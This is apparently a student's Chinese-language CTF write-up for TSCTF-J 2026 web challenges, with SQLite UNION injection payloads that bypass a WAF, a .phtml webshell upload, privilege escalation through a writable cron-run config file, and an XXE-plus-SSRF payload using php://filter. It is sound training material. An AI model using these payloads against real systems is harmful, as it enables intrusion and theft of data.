ctfer

tsctf-j-26 web-write-up

2026-10-10 #dev

虽然截至早上(10-10)那会,笔者的心情仍然不算好,但是在下午重新尝试了(问了agent)玛德莱娜小蛋糕这道题之后,发现纯粹是自己绕waf试得不全,从而导致自己不能够破开门,心情变好了!(虽然后头的还是不会写😭

– 本blog已于10-22复盘后更新,pay attention!

Web

T1-好想玩原神

本题毕竟是第一题,看样子应该是web的签到题目,最后考察了一个不太常规的sql注入。

PART1 - 信息搜集

我们首先拿到这个页面,查看源代码,发现一个注释里有很多能用的用户信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
<!--
login-checklist:
13874261905 / Windfall2407
15790348216 / MoraLake731
18621573940 / Sakura8102
19960428137 / SeelieRoute5931
15172846093 / FrostNights86
ambertrail@qq.com / AmberTrail09
liyuepost@163.com / LiyuePost27
opera.ticket@outlook.com / OperaTicket51
akasha-note@foxmail.com / AkashaNote68
quest.ledger@gmail.com / QuestLedger34
-->

首先尝试随便一个人的信息,登进去看看回显:

可以看到该用户的信息,但是目前还看不出来有什么用。
但我们注意到源码中给出了前端的app.js,点进去看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
const loginView = document.querySelector("#login-view");
const resultView = document.querySelector("#result-view");
const resultBox = document.querySelector("#result");
const statusText = document.querySelector("#status");

async function requestJson(path, options = {}) {
const res = await fetch(path, {
credentials: "same-origin",
headers: { "Content-Type": "application/json" },
...options,
});
const data = await res.json();
if (!res.ok && data.redirect) {
window.location.assign(data.redirect);
return data;
}
if (!res.ok) throw new Error(data.error || "request failed");
return data;
}

function showResult() {
loginView.hidden = true;
resultView.hidden = false;
}

function showLogin() {
resultView.hidden = true;
loginView.hidden = false;
resultBox.innerHTML = "";
statusText.textContent = "等待登录";
}

function renderItems(items) {
resultBox.innerHTML = "";
if (!items.length) {
resultBox.innerHTML = '<p class="empty">没有匹配记录。</p>';
statusText.textContent = "0 条记录";
return;
}

for (const item of items) {
const card = document.createElement("article");
card.className = "record-card";
card.innerHTML = `
<div class="record-main">
<strong>${item.phone}</strong>
<span>${item.traveler}</span>
</div>
<div class="record-meta">
<span>冒险等阶 ${item.adventure_rank}</span>
<span>${item.server}</span>
</div>
`;
resultBox.appendChild(card);
}
statusText.textContent = items.length + " 条登录记录";
}

document.querySelector("#login-form").addEventListener("submit", async (event) => {
event.preventDefault();
const form = new FormData(event.currentTarget);
try {
const data = await requestJson("/api/login", {
method: "POST",
body: JSON.stringify({
username: form.get("username"),
password: form.get("password"),
}),
});
showResult();
renderItems(data.items || []);
} catch (err) {
if (statusText) statusText.textContent = err.message;
}
});

document.querySelector("#back-login").addEventListener("click", async () => {
showLogin();
});

这里的有效信息看来只有用JSON传username和password这一条,暂时不能判断本题指纹喵。继续搜集信息吧!

打开dirsearch,开始搜索喵:
搜集喵
发现robots.txt可以看看提示(那本题用dirsearch看来成滚木了)

对于robots.txt,有:

1
2
3
User-agent: * Disallow: /api/login 
# Ordinary travelers are forwarded to the official launcher.
# The legacy login gateway still renders selected account rows.

也就是说,对于非刚刚的注释中的账号来说,会出现非常神奇的效果,反正肯定不会是被403再301到什么原什么神的官网的。
但是这里说render渲染这个词,很容易引起猫猫们的浮想联翩喵,会想到SSTI和sql灌注喵。❤️

尝试{{7*7}}这样的效果没有结果喵,被正常301去玩原神了喵,所以尝试sql喵❤️❤️

1
2
13874261905
111'

尝试了这样,从抓的包里头看到,会被400 BAD REQUEST掉,还会报OperationalError喵,这个报错查一下就会发现是sqlite的常见报错喵(应该是这会喵,笔者刚刚复现的时候忘记截图了现在确证不了,请猫猫们谅解喵)❤️❤️❤️

PART2 - 打点

于是尝试先确证一下,顺便看看都能不能回显喵,这里笔者尝试了

收集指纹喵

也就是111' UNION SELECT 1,sqlite_version(),3,4'喵。成功确认了sqlite的事实,level up了!

那么接下来就要开始进行老几项了喵:

  1. 确定order数:password位:111' UNION SELECT 1,2,3,4',需要注意这里两个参数都需要带上引号;
  2. 表名(sqlite不能爆database()):111' UNION SELECT name,2,3,4 FROM sqlite_master',得到的表里有一个叫secret_flags的,大概就是它了;
  3. 列名:111' UNION SELECT sql,2,3,4 FROM sqlite_master',或者' UNION SELECT 1, name, 3, 4 FROM pragma_table_info('secret_flags')。此时注意到**(对于前一种)**:CREATE TABLE secret_flags(id, flag_value, note),因此flag应该就在flag_value这个列里喵。
  4. flag:111' UNION SELECT flag_value,2,3,4 FROM secret_flags'即可。

步骤截图1喵
步骤截图2喵
步骤截图3喵

得到flagTSCTF-J{Y@u_c4N_9l4|_G3n5he^!}了!

这里是当时笔者的混乱思考链喵,追求真实心态请看这里喵

起初没有仔细去想,看到{item.traveler} {item.phone}这种,误以为是ssti模板注入。尝试在用户名和密码处输入``看看信息,发现无果,还被重定向到了原神的官网。用实践证明了ssti的错误
然后笔者在这里被卡了许久,然后想到应该找找提示,发现了本题存在的robots.txt爬虫文件:

1
2
3
User-agent: * Disallow: /api/login 
# Ordinary travelers are forwarded to the official launcher.
# The legacy login gateway still renders selected account rows.

不过这个/api/login显然是不能用来get的,试了一下确实也不支持这个方法,有些不明觉厉。但是我们确证了,非上面注释里名单的人登录,确实会被重定向到genshin的启动器。这时笔者猜想是sql注入,于是尝试如下:

1
2
13874261905' or 1 = 1 #
密码字段填写111

发现仍然重定向。感觉崩溃,于是前往dsh理思路:

[!NOTE] 你问为什么要用间隔几秒钟发一个请求?当时没看懂要求,以为不能用agent爆破…
1
2
3
4

而在后续,我们继续验证这个sql,输入:13874261905' or 1 = 1; --+,发现得到403blocked by login firewall的回显,在这种的情况下,我只好让agent先一把梭一次,再给我复盘思路和知识点。(不过没让它输出flag……我真的按这个重新搞了一遍😭

首先是WAF的绕过:

题目非常神秘地拦截了有or的payload中有空格的写法,而且联合查询中前后的两个参数都做了引号的闭合,因此会有a' UNION SELECT '1的写法,但是这道题更难过的地方,在于注入点不同于常规的任意位置,而是限定在了password的地方。看上去以后得先好好定位再说了:

之后就到了我们熟悉的步骤:

  1. 确定order数:password位:111' UNION SELECT 1,2,3,4',需要注意这里两个参数都需要带上引号;
  2. 表名(sqlite不能爆database()):111' UNION SELECT name,2,3,4 FROM sqlite_master',得到的表里有一个叫secret_flags的,大概就是它了;
  3. 列名:111' UNION SELECT sql,2,3,4 FROM sqlite_master',这里并没有用常规的' UNION SELECT name,NULL FROM pragma_table_info('users')-- -写法来查询列名,自己试了一下,pragma似乎也会被waf,这么看只有看所有的列名了。此时注意到:CREATE TABLE secret_flags(id, flag_value, note),因此flag应该就在flag_value这个列里。
  4. flag:111' UNION SELECT flag_value,2,3,4 FROM secret_flags'即可。

总结:

  1. 本题利用一个不常见的sqlite数据库,补充了笔者先前只会mysql的可怜境地。且对于这种waf的拦截,可以学习ai的“最小化探针”逐步进行测试。
  2. 从[miso师傅的blog](TSCTF-J 2026 Web 五题 WriteUp - Miso的博客 | Miso Blog)上,可以看到另外一种sql的写法喵,+当空格是需要读者猫猫们注意的喵。

– 对于sqlmap,笔者尝试使用却一直返回假阴性,询问ai之后得知是默认测试样例的锅,第一默认的加空格的载荷会被waf拦截;第二,对于' AND '1'='1和' AND '1'='2都会返回403禁止访问,对于它的布尔判断器会失效。能看出来出题人想让大家学会sql的基本原理喵。

T2-玛德莱娜小蛋糕

PART1 - 信息收集:

本题的入口就如同标题一样善,是一个典型的文件上传入口。但是直接开始猛猛灌注很可能被拒绝喵,好猫咪不能够上来就干这种事,要尝试拉好感度牵牵手约约会再解锁特殊cg喵❤️

使用dirsearch喵:
应该是这个喵
那个storage忽略掉喵,因为笔者忘了截开始的图了,这个是后来做完才截图的喵,总之这里是没什么特别好的路由作为提示喵。

PART2 - 打点

那就直接打点喵。要朝着最弱的地方攻击喵!既然只准上传gif,我们当然希望灌注进去的一切都会被认成php喵:给cmd的木马加一个GIF98a的头,并且把CT改成image/gif,后缀也改成gif——但是看上去这是有代价的喵:

图片马被传成了storage/tmp/da85388effaa.gif,文件名被随机更改(讲道理,这个默认解析的gif怎么分辨率这么大,都快赶上我这块滚木2.5k屏了喵),自然也就按.gif解析了。尝试上传.user.ini和.htaccess,结果发现也被随机更名,走不通了喵(泣

代价就在这里了,于是在后缀不更改的情况下,笔者尝试上传了木马喵,发现:
这个后缀会弄脏茶桌。

看上去php等后缀会被黑名单拦截掉。但是经过尝试,.phtml不会被黑名单拦下,从而成功上传一句话木马。

PART3 - 立足点建立喵

上传的一句话木马默认是防止/tmp这个路由下的,很可能会被坏人清除掉喵!所以我们按说要先cp到一个隐蔽点的目录并改名喵!(比如/var/www/html/assets/fonts/.cache.php,探姬是好人喵!)但是笔者猫猫很懒,经过试验没什么问题后,直接手工cp到上一层/storage目录就完事了喵!

这样我们就建立了一个稳定的立足点。不过也可能会忽视掉上传的马被定时杀掉的情况喵,了解详情可以看下面收起来的思考链喵。

连接后尝试了env,当然是没有用的喵!😭还是先看看根目录下在干什么吧!

ls喵,虽然我自己也不知道为什么不用/
可以看到flag是仅root有权看的,所以需要我们进行提权喵。

PART4 - 提权,权限维持,加上乱打喵(虽然本题不用维持喵)

首先用find / -xdev -writable -type f 2>/dev/null查看当前用户/用户组可写的文件喵,因为读的反正除了直接的flag,暂时也没有什么好说的喵!

查看可写
可以看到这有一个三分钟什么的,又结合temp里的文件被定时清理的现象,考虑计划任务在清理喵!于是看看cron:

查看cron

事实上就是查看了两个系统级的cron,也就是:

1
2
3
cat /etc/crontab
ls -la /etc/cron.d
cat <那个让你在意的名字喵>

所以我们直接cat /opt/teahouse/bin/clean_uploads.sh喵。
继续查看cron
这里头的东西不就是刚刚查到的三分钟文件吗喵!而且用户可读可写喵!有救了喵!
所以对它进行一些改造,让cron的大手替我们来读flag就好了喵!
改造喵!
看上去挺有精神的,之前就是你杀了我的木马吗?欸嘿嘿嘿嘿嘿……

开心地等待3min即可:

1
TSCTF-J{Cr07-In-534Rbh-0f-10sT_6@k3_@7D_fl3g40f2f86}
这里又是当时笔者的混乱思考链喵,追求真实心态请看这里喵

  我们使用蚁剑进行连接,尝试env(当然是没有flag的),考虑到去年的tsctf,我们先想到利用sudo -l查看能够用sudo运行的命令,结果发现这个后端把sudo都给阉割了。且过了一阵,蚁剑对命令无响应,检查发现是存在tmp下的木马给自动清除了。正当笔者难过于怎么给用户权限—的flag下手时,agent告诉了我们如下信息:


我的马被杀了()

于是我们再次上传木马,手工cp到/storage下,得到了一个稳定的木马连接,但是没有sudo,笔者还是不会提权。

而在上面这个回答的下面,dsh提出要“寻找定时任务”,颇为不解,于是:



也就是说,对于这种情况,我们可以先通过如下命令扫用户的文件权限:

find / -xdev -writable -type f 2>/dev/null或
find / -xdev -type f -perm -o+w 2>/dev/null | wc -l

  而对于后面一种,作用只是查询当前用户的权限,但是用户www-data是在同名的用户组里的,这样查询并不妥帖,应该用前一条命令测实际的读写情况。
得到:
var/lib/teahouse/cleanup.conf可以写入,且这个会被计划任务(删除tmp目录的那个)执行。

找到计划任务后,我们直接修改它执行的外部文件cleanup.conf,给它加上一行cp /flag /var/www/html/storage/out.txt; chmod 644 /var/www/html/storage/out.txt,等待计划任务执行即可。

– 总结:

  1. 文件上传不要为单个后缀名的限制而气馁,可以尝试多个后缀名(如本题.phtml),对于黑名单模式很有用;
  2. 对于文件的“提权”,核心并不是一个死板的sudo -l,而是先找到当前文件系统最鲜明的特点(如本题的corn计划任务),以及当前用户/组可写的文件,而这个文件又能够由更高权限的用户(如root)执行。提权并非使用户chmod,而是利用root执行的最高权限夹带私货,从而绕过限制。

T3-BandInvite

本题最后只通过抓包看到的@vite等请求定位到了CVE-2026-39363这个任意文件读取的漏洞,但是笔者实在不知道那个websocket是怎么用的,先鸽掉😭

  • 本题很快就会进行更新,会在周末merak跑路关站之前写好的!不然……不然笔者猫就要找出题人要容器喵!

T4-MinePortrait

PART1 - 信息搜集

本题进去之后是一个登录框。源码并没有什么有效信息,所以我们首先想到看看robots.txt,找找提示(事实上也可以dirsearch搜一下,也只有这个robots.txt有些用了喵):

1
2
User-agent: *
Disallow: /www.zip

下载这个www.zip,可以得到login_source.py和old_note.txt两个文件,在前一个文件中包含进入题目的用户名和密码,old_note中则有如下内容:

1
2
3
4
5
6
7
8
9
10
# old_note.txt
# Pelican Town workshop internal notes
#
# private media helper:
# service = 127.0.0.1
# route = /fetch.php
# query = url
# flag in flag.txt
# The media helper is only reachable from the workshop network.
# It was kept for legacy artwork imports used by older portrait tools.

结合网页给的图片上传转换这一操作,以及可选的svg矢量图格式,还有前端的这段js(虽然结合js某种意义上算马后炮…):

1
2
3
4
5
6
7
if (source === "svg" && target === "png") {
const text = await blobToText(file);
if (/<!\s*(doctype|entity)|SYSTEM\s+["']/i.test(text)) {
setStatus("Sending SVG to the workshop renderer...");
return;
}
}

可以发现,这段正则表达式需要满足形如下面的xml格式(其实就是注意\s这个空白字符类喵):

1
2
3
4
5
6
<! DOCTYPE svg [
<! ENTITY flag SYSTEM "外部实体">
]>
<svg height="900" width="900">
<text x="10" y="20">&flag;</text>
</svg>

又注意到提示:祝尼魔们会拦下不少本机地址,却会收下用filter包好的信。
本来猫猫们希望用127.0.0.1,也就是常见的本机地址,加上filter(这个其实不用提示,因为包含了之后会提示有sensitive keywords,第一反应就是用base64的filter过滤器包裹起来喵)来进行一个读flag喵。结果被鹈鹕镇的坏人们拦下来了喵😡😭猫猫很生气,决定要用更多的本机地址来打喵!
于是换了个0就过了,看来鹈鹕镇的大家都很喜欢0(×

最后在windows的点击以执行的帮助下,成功拿到flag,就是成功率很难评,最好还是手打喵。

解码后得到flag:

1
TSCTF-J{Cr07-In-534Rbh-0f-10sT_6@k3_@7D_fl3g40f2f86}
这里叕是当时笔者的混乱思考链喵,追求真实心态请看这里喵

我们可以猜想是以svg为载体的XXE漏洞,首先尝试在ENTITY字段包含外部实体flag.txt(可惜的是,笔者当时并不会正则表达式,并没有看懂这个发送到服务端的规则…)

1
2
3
4
5
6
<!DOCTYPE svg [
<!ENTITY flag SYSTEM "http://127.0.0.1/fetch.php?url=php://filter/read=convert.base64-encode/resource=flag.txt">
]>
<svg height="900" width="900">
<text x="10" y="20">&flag;</text>
</svg>

提示:The Junimos found sensitive keywords within y our XML. Go refine it!,显然是撞上WAF了。由于笔者是个彩笔,首先去问了ds的网页版,给了一个hint(后来发现没有用),让我把编码换成utf-16尝试绕过——
然而只有一个Portrait conversion completed.的响应,flag并没有出现。但是发现如果直接上传一个正常的svg,题目仍然是可以解析它的,但是bp拦截后发现是在本地浏览器上解析,随后会立刻被返回的Portrait conversion completed.页面盖掉,这个方向显然是不太能够走通了。

[!NOTE] UTF-16
不过对于大多数情况下,更改编码方式可以有效绕过字面量正则搞的简单WAF,至于这题无效的原因:

感谢dsh老师

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="600" height="100">
<rect width="600" height="100" fill="#000000"/>
<text x="5" y="70" font-size="60" fill="#39c5bb">114514</text>
</svg>

在思考无果后,我们转向更加聪明的dsh,得到如下回答:

  这里的WAF应该还是经典但是clo不会的黑名单写法,只对于<!doctype和<!entity命中waf。对于后头的SSRF,事实上就是和前面的提权一个道理,即借更高权限的“手”来进行操作,其实核心就是用ENTITY的外部实体部分,让服务端能够进行读取flag的操作。只不过祝泥魔拦下了诸多包括127.0.0.1 localhost之类的地址,只剩下0这种可以进行访问了而已。

[!NOTE] 来自dsh老师的教诲
知识点 · 为什么本机地址黑名单必然失败
黑名单是字符串匹配,而"同一个主机"有无数种等价写法:十进制/十六进制/八进制 IP、
短写(127.1)、IPv6 映射([::ffff:127.0.0.1])、0.0.0.0、DNS 重绑定、@ 混淆……
更根本的是,只解析 host 也不够——还要考虑重定向、DNS 解析结果。
正确做法:白名单(只允许明确的域名/协议)+ 解析后校验目标 IP 是否落在内网段。

这样一来,我们就把抓flag这个操作,转化为了具象的服务端的LFI,从而拿到flag,具体payload如下:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<! DOCTYPE svg [ <! ENTITY xxe SYSTEM "http://0/fetch.php?url=php://filter/convert.base64-encode/resource=/flag.txt"> ]>
<svg height="900" width="900">
<text x="10" y="20">&xxe;</text>
</svg>

– 总结:

  1. 对于常见waf的绕过,很值得试的一点就是加上/去掉空格,这看上去至少是这位出题人最喜欢用的办法。
  2. 后来感觉严格意义上这不算waf……因为正则都写在前端暴露的源码里了。真正算waf的,大概在于ban掉的一堆本地域名,要不是这题的话我真只知道127和localhost。
  3. 对于本地域名和开心地和WAF斗智斗勇的有趣探讨,可以参见[miso](TSCTF-J 2026 Web 五题 WriteUp - Miso的博客 | Miso Blog)和[maple](【补充】TSCTF-J 2026 Writeup - Map1e-Suk1的秘密基地)两只猫猫的wp!

AI

T1-Liar’s Bar

我不到哇,试了试默认给的那个规则就过去了,这才是签到题啊(大雾)

Abstract

T1-Dried Milkdragon

找了一下,地方应该是在雁北地超里头,旁边挂了个本子的地方?
但是找了半天不知道flag在哪,怕被当成小偷就跑出来了()

T2-emoji

明月松间照清泉石上流
但是太阳和上有什么关系,因为在上面吗()

  正如审题的师傅和之后翻到我的小站的网友所见,在此刻,在26年刚入学的这个时候,对于这种较高难度的题目,clo仍然是一位需要用agent进行大量操作,且解释诸多知识的彩笔,对于waf的绕过也是一言难尽。但是正在雁西园3号楼的的我仍然希望着我能加入 merak ,仍然希望着自己能在计算机,网络安全和 CTF 领域大展身手,至少这是我的美好憧憬,于是clo怀着这样的心情,从而在再过10-11的中午写下这段总结 。

  把这篇wp传上来时,笔者仍然不知道自己能否如愿以偿进入merak,但是笔者认为不管怎么样,自己总是得过日子的,总不能一旦失利就学FX飞人吧。因此将它上传上来,供自己日后好生回顾,并且鞭策自己在大学的日常与网安知识的学习。

  本文件同时作为提交的 Writeup 和个人笔记。有未尽之处实属抱歉,因为我能在排行榜中取得名次多亏了 dsh的禁忌力量。

看上去最近得去学正则和js了,不然前端看着真的难受(泣

以及感谢来自poe大人的致谢参考尾段,和来自神秘小游戏《放松时光:与你共享Lo-Fi故事》的satone酱的亲切陪伴。(为什么聪音都会看日志但是我不会😭


– 10-22更新:写更新的时候,笔者恰好闲来无事更新了声卡驱动,然后喜提超绝电流白噪音,以为自己被来自DDLC的monika制裁了,在此敬告大家不要干这种事😭

评论
也许会发生一些好事!
分享

评论